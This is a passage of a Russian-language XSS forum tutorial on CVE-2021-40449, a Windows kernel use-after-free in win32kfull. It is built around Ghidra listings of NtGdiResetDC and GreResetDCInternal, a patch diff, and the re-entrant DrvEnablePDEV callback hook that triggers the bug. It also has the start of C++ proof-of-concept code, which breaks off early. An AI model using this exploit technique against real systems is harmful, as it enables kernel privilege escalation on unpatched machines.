• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья UAF в Windows 10 1809, эксплуатируем CVE-2021-40449

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Сегодня мы разберём типичный пример узявимости Use After Free, в ядре Windows. А также проэксплуатируем её, используя типовой метод применяемый в таких случаях. Я постарался разобрать всё максимально подробно, для того чтобы при желаении, вы могли воспроизвести эксплоит сами. Файлы упомянутые в тексте статьи будут прикреплены внизу, или в итогах я оставлю ссылки на мегу.

Как и в своих предыдущих статьях упомяну, что если вы ничего не понимаете в эксплуатации уязвимостей ядра Windows, или делаете это в первый раз, то эта статья не для вас! Рекомендую начать с чего нибудь попроще, вроде HEVD и ему подобных[ссылка и ссылка]. Я не стану подробно останавливаться на том, как механизмы ядра реализованы. Статья предпологает что читатель знаком с базовыми принципами эксплуатации. Про знание C/C++ и прочего, даже говорить не стоит.

Содержание
  1. Содержание
  2. Вступление
    1. Инструментарий
    2. Образцы
  3. Анализ уязвимости
    1. Предыстория
    2. Сравнение функций
    3. Проверка сценария
  4. Эксплоит
    1. Функция RtlSetAllBits
    2. Изменение привилегий токена процесса
    3. Фейковый BitMapHeader
    4. Пишем эксплоит
    5. Проверяем эксплоит
  5. Итоги
Вступление
Начать бы стоило с того, что в интернете уже есть разборы CVE-2021-40449, так что я не первый кто взялся за эту уязвимость. Однако сегодня мы сосредоточимся не только на эксплуатации, но и на анализе самой уязвимости. Я разберу все стадии разработки эксплойта подробно, и последовательно. Некоторые из разборов CVE-2021-40449 я приложил внизу, в дополнительных материалах, при желании вы можете с ними ознакомится. Также я оставлю ссылки на объяснение техник которые я сегодня использую.

Инструментарий
Скриншоты и анализ уязвимости были в большистве своём сделаны в Ghidra. С инструментом сравнения бинарных файлов внутри самой Ghidra у меня пока как-то не складывается. В Ghidara Book этому функционалу уделили буквально пару обзацев. Как только я разберусь с диффером внутри Ghidra, напишу статью сюда, на xss.pro. А пока воспользуемся BinDiff, все скрины со сравнениями были выполнены в нём.

На настройку окружения мы в этот раз отвлекаться не будем, для этого существует моя первая статья(ссылка) и вторая, с настройкой kdnet(ссылка).

Образцы
Эксплуатировать CVE-2021-40449 мы будем в Windows 10.0.17763.1757, iso файл с которой я залил на мегу и прикрепил в конце статьи. Весь комплект из win32k.sys, win32kbase.sys и win32kfull.sys я тоже прикрепил. Из них мы сосредоточим внимание в основном на win32kfull, так как в этом драйвере и распологается уязвимая функция. Одна из ключевых функций, о которой я буду говорить распологается в win32kbase, поэтому для комплексности анализа, я решил приложить весь комплект win32k.

В качестве пропатченой версии я выбрал Windows 10.0.17763.2237. В ней установлен пакет исправлений KB5006672(Ссылка). ISO образ я оставлять не стал, ограничился лишь комплектом win32k. Для полного самостоятельного анализа уязвимости этого будет достаточно.

Анализ уязвимости
Предыстория

Анализ CVE-2021-40449 стоит начать с её истории. Впервые она была обнаружена как 0-day, тоесть "in the wild". Изначально её перепутали с CVE-2016-3309, но позже она была определена как 0-day. Она использовалась китайской группировкой MysterySnail, для атак на серверные версии Windows, и заражения их своим RAT. Более подробно об этом вы можете прочитать в статье на securelist(ссылка).

Уязвимость CVE-2016-3309 я уже анализировал в своей предыдущей статье, проблема заключалась в win32kfull!bFill, внутри фукнции происходил IntegerOverflow, в результате чего в памяти выделялся куда меньший объект, чем предпологалось. Тогда мы использовали примитив _PALETTE64.

Согласно отчёту касперсого, в CVE-2021-40449 проблема кроется в win32kfull!NtGdiResetDC(ниже вы увидете что это не совсем так). В результате выполнения фукнции, при соблюдении определённых условий мы получаем Use After Free, с возможностью перехода потока исполнения к контролируемому адресу. Звучит интересно, правда? Взглянем подробнее:

Сравнение функций
Для начала взглянем на полный листинг декомпилятора ghidra для функции NtGdiResetDC:
Код:
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined NtGdiResetDC(undefined param_1, undefined para
             undefined         AL:1           <RETURN>
             undefined         CL:1           param_1
             undefined         DL:1           param_2
             undefined         R8B:1          param_3
             undefined         R9B:1          param_4
             undefined8        Stack[0x28]:8  param_5                                 XREF[1]:     1c0147076(R)
             undefined8        Stack[0x18]:8  local_res18                             XREF[1]:     1c0146fc7(W)
             undefined8        Stack[0x10]:8  local_res10                             XREF[2]:     1c0146fc3(W),
                                                                                                   1c01470eb(R)
             undefined8        Stack[0x8]:8   local_res8                              XREF[1]:     1c0146fcb(W)
             undefined8        Stack[-0x38]:8 local_38                                XREF[2]:     1c0146fec(W),
                                                                                                   1c0147037(W)
             undefined8        Stack[-0x40]:8 local_40                                XREF[2]:     1c0146fe6(W),
                                                                                                   1c0147007(W)
             undefined4        Stack[-0x44]:4 local_44                                XREF[2]:     1c0147086(*),
                                                                                                   1c01470b1(R)
             undefined4        Stack[-0x48]:4 local_48                                XREF[3]:     1c0147018(W),
                                                                                                   1c014704c(W),
                                                                                                   1c0147098(W)
             undefined8        Stack[-0x58]:8 local_58                                XREF[1]:     1c014707e(W)
                             0x146fc0  1486  NtGdiResetDC
                             Ordinal_1486                                    XREF[4]:     Entry Point(*), 1c032a928(*),
                             NtGdiResetDC                                                 1c035875c(*), 1c03719f5(*)
      1c0146fc0     MOV        RAX,RSP
      1c0146fc3     MOV        qword ptr [RAX + local_res10],RBX
      1c0146fc7     MOV        qword ptr [RAX + local_res18],param_3
      1c0146fcb     MOV        qword ptr [RAX + local_res8],param_1
      1c0146fcf     PUSH       RSI
      1c0146fd0     PUSH       RDI
      1c0146fd1     PUSH       R12
      1c0146fd3     PUSH       R14
      1c0146fd5     PUSH       R15
      1c0146fd7     SUB        RSP,0x50
      1c0146fdb     MOV        R15,param_4
      1c0146fde     MOV        R14,param_3
      1c0146fe1     MOV        R12,param_1
      1c0146fe4     XOR        EDI,EDI
      1c0146fe6     MOV        qword ptr [RAX + local_40],RDI
      1c0146fea     XOR        ESI,ESI
      1c0146fec     MOV        qword ptr [RAX + local_38],RSI
      1c0146ff0     TEST       param_2,param_2
      1c0146ff3     JZ         LAB_1c0147011
      1c0146ff5     MOV        param_1,param_2
      1c0146ff8     CALL       qword ptr [->WIN32KBASE.SYS::CaptureDEVMODEW]
      1c0146fff     NOP        dword ptr [RAX + RAX*0x1]
      1c0147004     MOV        RDI,RAX
      1c0147007     MOV        qword ptr [RSP + local_40],RAX
      1c014700c     TEST       RAX,RAX
      1c014700f     JZ         LAB_1c0147045
                             LAB_1c0147011                                   XREF[1]:     1c0146ff3(j)
      1c0147011     MOV        EBX,0x1
      1c0147016     MOV        EAX,EBX
                             LAB_1c0147018                                   XREF[1]:     1c014704a(j)
      1c0147018     MOV        dword ptr [RSP + local_48],EAX
      1c014701c     TEST       EAX,EAX
      1c014701e     JZ         LAB_1c0147041
      1c0147020     TEST       R15,R15
      1c0147023     JZ         LAB_1c014704c
      1c0147025     MOV        param_1,R15
      1c0147028     CALL       qword ptr [->WIN32KBASE.SYS::CaptureDriverInf
      1c014702f     NOP        dword ptr [RAX + RAX*0x1]
      1c0147034     MOV        RSI,RAX
      1c0147037     MOV        qword ptr [RSP + local_38],RAX
      1c014703c     TEST       RAX,RAX
      1c014703f     JNZ        LAB_1c014704c
                             LAB_1c0147041                                   XREF[1]:     1c014701e(j)
      1c0147041     XOR        EBX,EBX
      1c0147043     JMP        LAB_1c014704c
                             LAB_1c0147045                                   XREF[1]:     1c014700f(j)
      1c0147045     MOV        EBX,0x1
      1c014704a     JMP        LAB_1c0147018
                             LAB_1c014704c                                   XREF[3]:     1c0147023(j), 1c014703f(j),
                                                                                          1c0147043(j)
      1c014704c     MOV        dword ptr [RSP + local_48],EBX
      1c0147050     JMP        LAB_1c0147072
      1c0147052     ??         33h    3
      1c0147053     ??         DBh
      1c0147054     ??         89h
      1c0147055     ??         5Ch    \
      1c0147056     ??         24h    $
      1c0147057     ??         30h    0
      1c0147058     ??         4Ch    L
      1c0147059     ??         8Bh
      1c014705a     ??         B4h
      1c014705b     ??         24h    $
      1c014705c     ??         90h
      1c014705d     ??         00h
      1c014705e     ??         00h
      1c014705f     ??         00h
      1c0147060     ??         4Ch    L
      1c0147061     ??         8Bh
      1c0147062     ??         A4h
      1c0147063     ??         24h    $
      1c0147064     ??         80h
      1c0147065     ??         00h
      1c0147066     ??         00h
      1c0147067     ??         00h
      1c0147068     ??         48h    H
      1c0147069     ??         8Bh
      1c014706a     ??         7Ch    |
      1c014706b     ??         24h    $
      1c014706c     ??         38h    8
      1c014706d     ??         48h    H
      1c014706e     ??         8Bh
      1c014706f     ??         74h    t
      1c0147070     ??         24h    $
      1c0147071     ??         40h    @
                             LAB_1c0147072                                   XREF[1]:     1c0147050(j)
      1c0147072     TEST       EBX,EBX
      1c0147074     JZ         LAB_1c01470c6
      1c0147076     MOV        RAX,qword ptr [RSP + param_5]
      1c014707e     MOV        qword ptr [RSP + local_58],RAX
      1c0147083     MOV        param_4,RSI
      1c0147086     LEA        param_3=>local_44,[RSP + 0x34]
      1c014708b     MOV        param_2,RDI
      1c014708e     MOV        param_1,R12
      1c0147091     CALL       GreResetDCInternal                             int GreResetDCInternal(HDC hdc,
      1c0147096     MOV        EBX,EAX
      1c0147098     MOV        dword ptr [RSP + local_48],EAX
      1c014709c     TEST       EAX,EAX
      1c014709e     JZ         LAB_1c01470c6
      1c01470a0     MOV        param_1,qword ptr [->NTOSKRNL.EXE::MmUserProb  = 00350fa8
      1c01470a7     MOV        param_2,qword ptr [param_1]
      1c01470aa     CMP        R14,param_2
      1c01470ad     CMOVNC     R14,param_2
      1c01470b1     MOV        EAX,dword ptr [RSP + local_44]
      1c01470b5     MOV        dword ptr [R14],EAX
      1c01470b8     JMP        LAB_1c01470c6
      1c01470ba     ??         33h    3
      1c01470bb     ??         DBh
      1c01470bc     ??         48h    H
      1c01470bd     ??         8Bh
      1c01470be     ??         7Ch    |
      1c01470bf     ??         24h    $
      1c01470c0     ??         38h    8
      1c01470c1     ??         48h    H
      1c01470c2     ??         8Bh
      1c01470c3     ??         74h    t
      1c01470c4     ??         24h    $
      1c01470c5     ??         40h    @
                             LAB_1c01470c6                                   XREF[3]:     1c0147074(j), 1c014709e(j),
                                                                                          1c01470b8(j)
      1c01470c6     TEST       RDI,RDI
      1c01470c9     JZ         LAB_1c01470da
      1c01470cb     MOV        param_1,RDI
      1c01470ce     CALL       qword ptr [->WIN32KBASE.SYS::FreeThreadBuffer
      1c01470d5     NOP        dword ptr [RAX + RAX*0x1]
                             LAB_1c01470da                                   XREF[1]:     1c01470c9(j)
      1c01470da     MOV        param_1,RSI
      1c01470dd     CALL       qword ptr [->WIN32KBASE.SYS::vFreeDriverInfo2]
      1c01470e4     NOP        dword ptr [RAX + RAX*0x1]
      1c01470e9     MOV        EAX,EBX
      1c01470eb     MOV        RBX,qword ptr [RSP + local_res10]
      1c01470f3     ADD        RSP,0x50
      1c01470f7     POP        R15
      1c01470f9     POP        R14
      1c01470fb     POP        R12
      1c01470fd     POP        RDI
      1c01470fe     POP        RSI
      1c01470ff     RET

При беглом взгляде на функицию становится ясно что выделений памяти в функции нет, а уж тем более вызова адреса из памяти. Внутри фукнции есть 5 вызовов:
  • CaptureDEVMODEW
  • CaptureDriverInfo2W
  • GreResetDCInternal
  • FreeThreadBufferWithTag
  • vFreeDriverInfo2
Из них нас интересует только третий - GreResetDCInternal. Вот нередактированный листинг дизассемблера гидры для этой функции:
C++:
int FUN_1c0147108(undefined8 param_1,undefined8 param_2,uint *param_3,undefined8 param_4,
                 undefined8 param_5)

{
  longlong lVar1;
  longlong lVar2;
  int iVar3;
  longlong lVar4;
  uint uVar5;
  int iVar6;
  int iVar7;
  uint uVar8;
  longlong local_78;
  DC *local_70 [0x2];
  DC *local_60 [0x4];
 
  uVar8 = 0x0;
  lVar4 = 0x0;
  iVar6 = 0x0;
  FUN_1c008daf8(local_70);
  if (local_70[0] == NULL) {
    EngSetLastError(0x6);
LAB_1c01b4877:
  }
  else {
    uVar8 = *(uint *)(local_70[0] + 0x24) & 0x800;
    if (uVar8 != 0x0) {
      DC::bMakeInfoDC(local_70[0],0x0);
    }
    lVar1 = *(longlong *)(local_70[0] + 0x30);
    local_78 = *(longlong *)(lVar1 + 0x6b0);
    *(undefined8 *)(lVar1 + 0x6b0) = 0x0;
    if ((((*(uint *)(local_70[0] + 0x24) & 0x100) != 0x0) || (*(int *)(local_70[0] + 0x20) == 0x1))
       || (-0x1 < (char)*(undefined4 *)(lVar1 + 0x28))) goto LAB_1c01b4877;
    iVar7 = *(int *)(local_70[0] + 0x6c);
    lVar2 = *(longlong *)(local_70[0] + 0x1f0);
    iVar3 = XDCOBJ::bCleanDC((XDCOBJ *)local_70,0x0);
    if (((iVar3 != 0x0) && (*(int *)(lVar1 + 0x8) == 0x1)) &&
       (lVar4 = hdcOpenDCW(&DAT_1c02c54c0,param_2,0x0,0x0,*(undefined8 *)(lVar1 + 0xa00),local_78,
                           param_4,param_5,0x0), lVar4 != 0x0)) {
      *(undefined8 *)(lVar1 + 0xa00) = 0x0;
      FUN_1c008daf8(local_60,lVar4);
      if (local_60[0] == NULL) {
        EngSetLastError(0x6);
      }
      else {
        if (0x0 < iVar7) {
          *(undefined4 *)(local_60[0] + 0x6c) = *(undefined4 *)(local_60[0] + 0x68);
        }
        *(undefined8 *)(local_60[0] + 0x808) = *(undefined8 *)(local_70[0] + 0x808);
        *(undefined8 *)(local_70[0] + 0x808) = 0x0;
        *(undefined8 *)(local_60[0] + 0x810) = *(undefined8 *)(local_70[0] + 0x810);
        *(undefined8 *)(local_70[0] + 0x810) = 0x0;
        if (*(code **)(lVar1 + 0xab8) != NULL) {
          (**(code **)(lVar1 + 0xab8))
                    (*(undefined8 *)(lVar1 + 0x708),
                     *(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
        }
        GreAcquireHmgrSemaphore();
        HmgSwapLockedHandleContents(param_1,0x0,lVar4,0x0,0x1);
        GreReleaseHmgrSemaphore();
        iVar6 = 0x1;
      }
      if (local_60[0] != NULL) {
        FUN_1c008ed8c(local_60);
      }
    }
    local_78._0_4_ = (uint)(lVar2 != 0x0);
  }
  iVar7 = 0x0;
  if (local_70[0] != NULL) {
    FUN_1c008ed8c(local_70);
  }
  if (iVar6 == 0x0) {
    return 0x0;
  }
  bDeleteDCInternal(lVar4,0x1,0x0);
  FUN_1c008daf8(local_60);
  if (local_60[0] == NULL) {
    EngSetLastError(0x6);
  }
  else {
    local_78 = *(longlong *)(local_60[0] + 0x30);
    if ((uint)local_78 == 0x0) {
      *param_3 = 0x0;
      iVar7 = iVar6;
    }
    else {
      iVar3 = PDEVOBJ::bMakeSurface((PDEVOBJ *)&local_78,NULL);
      if (iVar3 == 0x0) goto LAB_1c0147381;
      FUN_1c010a880(local_60[0]);
      uVar5 = *(uint *)(*(longlong *)(local_78 + 0x9f8) + 0x70) & 0x2000000;
      *param_3 = uVar5;
      if (uVar5 != 0x0) {
        *(undefined8 *)(local_60[0] + 0x200) =
             *(undefined8 *)(*(longlong *)(local_78 + 0x9f8) + 0x38);
        DC::bSetDefaultRegion(local_60[0]);
      }
      if (*(code **)(local_78 + 0xb98) != NULL) {
        (**(code **)(local_78 + 0xb98))
                  (-(ulonglong)(*(longlong *)(local_78 + 0x9f8) != 0x0) &
                   *(longlong *)(local_78 + 0x9f8) + 0x18U,0x0,0x0);
        iVar7 = iVar6;
      }
    }
    if ((iVar7 != 0x0) && (uVar8 != 0x0)) {
      DC::bMakeInfoDC(local_60[0],0x1);
    }
  }
LAB_1c0147381:
  if (local_60[0] != NULL) {
    FUN_1c008ed8c(local_60);
  }
  return iVar7;
}

Пока функция выглядит неопрятно, позже мы исправим это, но кое что уже бросается в глаза:
C++:
(**(code **)(lVar1 + 0xab8))
                    (*(undefined8 *)(lVar1 + 0x708),
                     *(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
Это вызов адреса из памяти.

Теперь определимся с тем, как конкретно поисходит освобождение объекта из памяти, и как мы можем контролировать адресс lVar1 + 0xab8.
Давайте сравним две версии функции GreResetDCInternal, 1757 и 2237. Напомню что я приложил обе версии драйвера к статье, на случай если вы захотите иследовать их самостоятельно.
Скриншоты сделаны в bindiff:

1.png


Сравнение потоков выполнения функций. Слева - 1757, справа - 2237. Как видно справа на 4 блока больше. Блоки серого цвета - добавленные.
Давайта взглянем ближе:

2.png


3.png


Все 3 из показанных выше блоков, ведут в bad block:

4.png


Чтож, настало время поближе взглянуть на GreResetDCInternal. Это верся 2237 - исправленная:

C++:
void GreResetDCInternal(ulonglong param_1,DC *param_2,uint *param_3,undefined8 param_4,
                       undefined8 param_5)

{
  longlong lVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  int iVar5;
  int iVar6;
  longlong lVar7;
  uint uVar8;
  uint uVar9;
  undefined auStack344 [0x20];
  undefined8 local_138;
  undefined *local_130;
  undefined8 local_128;
  undefined8 local_120;
  undefined4 local_118;
  ulonglong local_108;
  DC *local_100 [0x2];
  DC *local_f0 [0x2];
  uint *local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined *local_c8;
  undefined local_b8 [0x20];
  undefined8 *local_98;
  undefined8 local_90;
  undefined8 *local_88;
  undefined8 local_80;
  uint **local_78;
  undefined8 local_70;
  ulonglong *local_68;
  undefined8 local_60;
  ulonglong local_58;
 
  local_58 = __security_cookie ^ (ulonglong)auStack344;
  lVar7 = 0x0;
  uVar9 = 0x0;
  local_d0 = param_5;
  local_108 = param_1;
  local_100[0] = param_2;
  local_e0 = param_3;
  local_d8 = param_4;
  DCOBJ::DCOBJ(local_f0);
  uVar8 = 0x1;
  if (local_f0[0] == NULL) {
LAB_1c0148226:
    EngSetLastError(0x6);
    bVar2 = false;
  }
  else {
    if (0x1 < *(ushort *)(local_f0[0] + 0xc)) {
      if ((0x5 < _DAT_1c030c4e0) &&
         (cVar4 = _tlgKeywordOn(&DAT_1c030c4e0,0x400000000000), cVar4 != '\0')) {
        local_98 = &local_d8;
        local_d8 = CONCAT44(local_d8._4_4_,0x106bd);
        local_88 = &local_d0;
        local_78 = &local_e0;
        local_68 = &local_108;
        local_90 = 0x4;
        local_d0 = 0x1000000;
        local_80 = 0x8;
        local_e0 = (uint *)((ulonglong)local_e0 & 0xffffffff00000000 | (ulonglong)uVar8);
        local_70 = 0x4;
        local_108 = local_108 & 0xffffffff00000000;
        local_60 = 0x4;
        local_130 = local_b8;
        local_138 = CONCAT44(local_138._4_4_,0x6);
        _TlgWrite(&DAT_1c030c4e0,&DAT_1c02d5a13,0x0,0x0);
      }
      goto LAB_1c0148226;
    }
 
   ...
}

В приведённом выше листинге дизассемблера, отражены те блоки которые были добавлены. Если коротко то этот код проверяет количество одновременных использованиий объекта, и в случае если объект используется больше одного раза, мы попадаем в BadBlock, где нас ждёт EngSetLastError. Логично было бы предположить, что раз в уязвимой версии такой проверки нет, то объект будет использоваться дважды.

Настал момент для полного анализа функции GreResetDCInternal. Я загрузил символы, указал типы и назвал аргументы, так что функция теперь должна выглядеть более читаемо. Кроме того я отметил все ключевые места цифрами, каждую из которых я опишу ниже:
C++:
int GreResetDCInternal(HDC hdc,DEVMODEW *pdmw,BOOLEAN *pbBanding,_DRIVER_INFO_2W *pDriverInfo2,
                      PVOID ppUMdhpdev)

{
  int iVar2;
  longlong newDC;
  uint uVar4;
  int iVar5;
  int iVar6;
  uint uVar7;
  longlong local_78;
  DC *local_70 [0x2];
  DC *local_60 [0x4];
  PDEVOBJ *po;
  longlong lVar1;
 
  uVar7 = 0x0;
  newDC = 0x0;
  iVar5 = 0x0;
  DCOBJ::DCOBJ(local_70); // 1
  if (local_70[0] == NULL) {
    EngSetLastError(0x6);
LAB_1c01b4877:
  }
  else {
    uVar7 = *(uint *)(local_70[0] + 0x24) & 0x800;
    if (uVar7 != 0x0) {
      DC::bMakeInfoDC(local_70[0],0x0);
    }
    po = *(PDEVOBJ **)(local_70[0] + 0x30); // 2
    local_78 = *(longlong *)(po + 0x6b0);
    *(undefined8 *)(po + 0x6b0) = 0x0;
    if ((((*(uint *)(local_70[0] + 0x24) & 0x100) != 0x0) || (*(int *)(local_70[0] + 0x20) == 0x1))
       || (-0x1 < (char)*(undefined4 *)(po + 0x28))) goto LAB_1c01b4877;
    iVar6 = *(int *)(local_70[0] + 0x6c);
    lVar1 = *(longlong *)(local_70[0] + 0x1f0);
    iVar2 = XDCOBJ::bCleanDC((XDCOBJ *)local_70,0x0);
    if (((iVar2 != 0x0) && (*(int *)(po + 0x8) == 0x1)) &&
       (newDC = hdcOpenDCW(L"",pdmw,0x0,0x0,*(undefined8 *)(po + 0xa00),local_78,pDriverInfo2,
                           ppUMdhpdev,0x0), newDC != 0x0)) { // 3
      *(undefined8 *)(po + 0xa00) = 0x0;
      DCOBJ::DCOBJ(local_60,newDC);
      if (local_60[0] == NULL) {
        EngSetLastError(0x6);
      }
      else {
        if (0x0 < iVar6) {
          *(undefined4 *)(local_60[0] + 0x6c) = *(undefined4 *)(local_60[0] + 0x68);
        }
        *(undefined8 *)(local_60[0] + 0x808) = *(undefined8 *)(local_70[0] + 0x808);
        *(undefined8 *)(local_70[0] + 0x808) = 0x0;
        *(undefined8 *)(local_60[0] + 0x810) = *(undefined8 *)(local_70[0] + 0x810);
        *(undefined8 *)(local_70[0] + 0x810) = 0x0;
        if (*(code **)(po + 0xab8) != NULL) {
          (**(code **)(po + 0xab8))
                    (*(undefined8 *)(po + 0x708),
                     *(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708)); // 4
        }
        GreAcquireHmgrSemaphore();
        HmgSwapLockedHandleContents(hdc,0x0,newDC,0x0,0x1);
        GreReleaseHmgrSemaphore();
        iVar5 = 0x1;
      }
      if (local_60[0] != NULL) {
        XDCOBJ::vUnlockFast(local_60);
      }
    }
    local_78._0_4_ = (uint)(lVar1 != 0x0);
  }
  iVar6 = 0x0;
  if (local_70[0] != NULL) {
    XDCOBJ::vUnlockFast(local_70);
  }
  if (iVar5 == 0x0) {
    return 0x0;
  }
  bDeleteDCInternal(newDC,0x1,0x0); // 5
  DCOBJ::DCOBJ(local_60);
  if (local_60[0] == NULL) {
    EngSetLastError(0x6);
  }
  else {
    local_78 = *(longlong *)(local_60[0] + 0x30);
    if ((uint)local_78 == 0x0) {
      *(undefined4 *)pbBanding = 0x0;
      iVar6 = iVar5;
    }
    else {
      iVar2 = PDEVOBJ::bMakeSurface((PDEVOBJ *)&local_78,NULL);
      if (iVar2 == 0x0) goto LAB_1c0147381;
      DC::pSurface(local_60[0]);
      uVar4 = *(uint *)(*(longlong *)(local_78 + 0x9f8) + 0x70) & 0x2000000;
      *(uint *)pbBanding = uVar4;
      if (uVar4 != 0x0) {
        *(undefined8 *)(local_60[0] + 0x200) =
             *(undefined8 *)(*(longlong *)(local_78 + 0x9f8) + 0x38);
        DC::bSetDefaultRegion(local_60[0]);
      }
      if (*(code **)(local_78 + 0xb98) != NULL) {
                    // Call
        (**(code **)(local_78 + 0xb98))
                  (-(ulonglong)(*(longlong *)(local_78 + 0x9f8) != 0x0) &
                   *(longlong *)(local_78 + 0x9f8) + 0x18U,0x0,0x0);
        iVar6 = iVar5;
      }
    }
    if ((iVar6 != 0x0) && (uVar7 != 0x0)) {
      DC::bMakeInfoDC(local_60[0],0x1);
    }
  }
LAB_1c0147381:
  if (local_60[0] != NULL) {
    XDCOBJ::vUnlockFast(local_60);
  }
  return iVar6;
}

Разберём по пунктам:
  • В местах под номерами 1 и 2 создаётся новый DCOBJ.
  • Под цифрой 4 - упомянутый мной выше переход по адресу в памяти.
  • И под цифрой 5 - освобождение DCOBJ из памяти.
Перед тем как я окончательно объясню то, как работает уязвимость, осталось разобрать один важный момент. Под цифрой 3, в листинге выше я указал вызов hdcOpenDCW. Давайте взглянем на листинг win32kbase!hdcOpenDCW, и я объясню почему этот вызов играет ключевую роль:
C++:
HDC__ * hdcOpenDCW(unsigned_short *param_1,_devicemodeW *param_2,int param_3,int param_4,
                  void *param_5,tagREMOTETYPEONENODE *param_6,HDC__ *param_7,undefined8 *param_8,
                  int param_9)

{
  void *pvVar1;
  ulonglong uVar2;
  int iVar3;
  longlong lVar4;
  HDC__ *pHVar5;
  _LDEV *p_Var6;
  longlong lVar7;
  undefined8 *puVar8;
  unsigned_short *local_res8;
  ulonglong in_stack_ffffffffffffff50;
  ulonglong in_stack_ffffffffffffff58;
  ulonglong in_stack_ffffffffffffff60;
  undefined8 local_68;
  longlong local_60;
  longlong local_58;
  undefined local_50 [0x10];
  longlong local_40 [0x3];
 
                    // 0x3d360  2436  hdcOpenDCW
  uVar2 = (ulonglong)param_7;
  pHVar5 = NULL;
  param_7 = (HDC__ *)((ulonglong)param_7 & 0xffffffff00000000 | (ulonglong)(param_7 != NULL));
  local_res8 = param_1;
  if ((param_1 != NULL) && (uVar2 == 0x0)) {
    lVar7 = 0x0;
    lVar4 = 0x0;
    RtlInitUnicodeString(local_50,param_1);
    EnterSharedCrit(0x0,0x1);
    EngAcquireSemaphore(ghsemDynamicModeChange);
    EtwTraceGreLockAcquireSemaphoreExclusive(L"ghsemDynamicModeChange",ghsemDynamicModeChange,0x1);
    if (param_9 == 0x0) {
      if (param_2 == NULL) {
        lVar4 = DrvGetHDEV(local_50);
        if ((param_4 != 0x0) && (param_3 == 0x0)) {
          pHVar5 = (HDC__ *)UserGetMonitorDC(lVar4);
        }
  
    ...

    else {
      PDEVOBJ::PDEVOBJ((PDEVOBJ *)&local_res8,p_Var6,param_2,local_res8,
                       *(unsigned_short **)(uVar2 + 0x20),*(unsigned_short **)(uVar2 + 0x8),pvVar1,
                       param_6,NULL,NULL,(int)param_7,0x0,0x0);

    ...

Я убрал всё лишнее, и оставил только то, что нам нужно - вызов PDEVOBJ::PDEVOBJ. Функция достаточно большая, так что я приведу лишь интересный нам кусок:
C++:
void __thiscall
PDEVOBJ::PDEVOBJ(PDEVOBJ *this,_LDEV *param_1,_devicemodeW *param_2,unsigned_short *param_3,
                unsigned_short *param_4,unsigned_short *param_5,void *param_6,
                tagREMOTETYPEONENODE *param_7,_GDIINFO *param_8,tagDEVINFO *param_9,int param_10,
                unsigned_long param_11,unsigned_long param_12)

{
    ...

    pDVar14 = EnablePDEV((PDEVOBJ *)&local_210,param_2,param_3,
                         (unsigned_long)(_GDIINFO *)(pHVar13 + 0x858),(HSURF__ **)(pHVar13 + 0x5b0),
                         in_stack_fffffffffffffda0,(_GDIINFO *)(pHVar13 + 0x858),
                         in_stack_fffffffffffffdb0,(tagDEVINFO *)(pHVar13 + 0x720),pHVar13,
                         (unsigned_short *)local_228,local_220);

    ...

}

Теперь листинг для EnablePDEV:
C++:
DHPDEV__ * __thiscall
PDEVOBJ::EnablePDEV(PDEVOBJ *this,_devicemodeW *param_1,unsigned_short *param_2,
                   unsigned_long param_3,HSURF__ **param_4,unsigned_long param_5,_GDIINFO *param_6,
                   unsigned_long param_7,tagDEVINFO *param_8,HDEV__ *param_9,
                   unsigned_short *param_10,void *param_11)

{
  DHPDEV__ *pDVar1;
 
  pDVar1 = (DHPDEV__ *)
           (**(code **)(*(longlong *)this + 0xa80))
                     (param_1,param_2,0x6,param_4,0x140,param_6,0x138,param_8,param_9,param_10,
                      param_11);
  return pDVar1;
}

Функция EnablePDEV представляет собой callback к фукнции DrvEnablePDEV. При желании мы можем подменить адрес DrvEnablePDEV своим хуком в пользовательском режиме - это и есть ключевой момент. Который позволит нам повторно использовать объект, освободить его из памяти и вызвать UAF.

Как же вызвать освобождение объекта и подменить вызываемый адрес в памяти? Держа всё вышесказанное в голове, пройдёмся по порядку:
  1. Вызвать NtGdiResetDC, из которого мы попадём в GreResetDCInternal
  2. На моменте вызова hdcOpenDCW мы попадём в EnablePDEV, который вызовет callback. На callback DrvEnablePDEV, мы предварительно вешаем хук, который повторно вызывает NtGdiResetDC.
  3. В процессе повторого выполнения GreResetDCInternal, существующий объект DCOBJ будет освобождён из памяти.
  4. NtGdiResetDC вернётся, вернётся Callback DrvEnablePDEV и продолжится выполнение первого вызова GreResetDCInternal, но уже с освобождённым объектом DCOBJ
Проверка сценария
Для проверки всего вышеописанного сценария, давайте напишем PoC который вызовет BSOD. Первым делом напишем шаблон:
C++:
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>

int main() {
    printf("[*] Verifying vulnerability consept\n");

    return 0;
}

Для того чтобы достичь функции NtGdiResetDC, нужно вызвать ResetDC(). Но перед тем как вызывать уязвимость, давайте повесим хук на callback DrvEnablePDEV. Определим функцию SetUpHook(), и найдём все принтеры в системе:
C++:
BOOL SetUpHook() {
    DWORD pcbNeeded, pcbRet;
    EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
    if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }

    PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
    if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
        printf("[!] Can't enum printers!\n");
        exit(-1);
    }
}

Теперь добавим цикл, который будет итерироваться по принтерам. Я отметил все важные места цифрами, ниже я опишу что делает отмеченный код:
C++:
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
    info = &printerEnum[i];
    printf("[*] Printer: %ws\n", info->pPrinterName);
 
    if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) { // 1
        printf("    --- Can't open printer!\n");
        continue;
    }
    else {
        printf("    --> Opened printer!\n");
    }
